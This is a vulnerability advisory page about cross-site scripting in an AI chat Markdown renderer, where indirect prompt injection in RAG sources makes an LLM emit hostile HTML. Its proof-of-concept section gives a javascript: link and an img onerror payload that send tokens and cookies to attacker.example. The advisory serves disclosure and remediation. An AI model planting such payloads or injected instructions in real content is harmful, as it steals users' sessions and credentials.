Vulnerability DatabaseGHSA-vr42-692h-pmm6

GHSA-vr42-692h-pmm6: 
Python vulnerability analysis and mitigation

Summary

An Improper Neutralization of Input During Web Page Generation ('Cross-Site Scripting', CWE-79) vulnerability in AI Chat Markdown/HTML renderers allows remote attackers (via indirect prompt injection in RAG sources) to execute arbitrary JavaScript in the victim's browser session by injecting <img src=x onerror=...> or javascript: links into LLM responses rendered with innerHTML / dangerouslySetInnerHTML.

Proof of Concept (PoC)

[Click to view source](javascript:fetch('https://attacker.example/steal?t='+localStorage.getItem('token')))
<img src="x" onerror="fetch('https://attacker.example/steal?c='+document.cookie)">

Remediation

Sanitize all rendered Markdown HTML through DOMPurify with strict tag/attribute allowlists and block javascript: / data: URI schemes.


Source: NVD

Related Python vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

GHSA-wrc3-8c98-283wHIGH8.6
  • Python logoPython
  • boi-tech-rag-xml-document-loader
NoYesOct 30, 2026
GHSA-q749-wr8p-6pc9HIGH8.5
  • Python logoPython
  • boi-tech-ai-agent-telemetry-logger
NoYesOct 30, 2026
GHSA-vr42-692h-pmm6HIGH8.2
  • Python logoPython
  • boi-tech-ai-chat-markdown-renderer
NoYesOct 30, 2026
GHSA-q77q-crp2-mmjcHIGH7.5
  • Python logoPython
  • boi-tech-llm-output-regex-parser
NoYesOct 30, 2026
GHSA-9pg5-8c7x-5hfxMEDIUM6.9
  • Python logoPython
  • joserfc
NoYesOct 30, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Additional Wiz resources

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management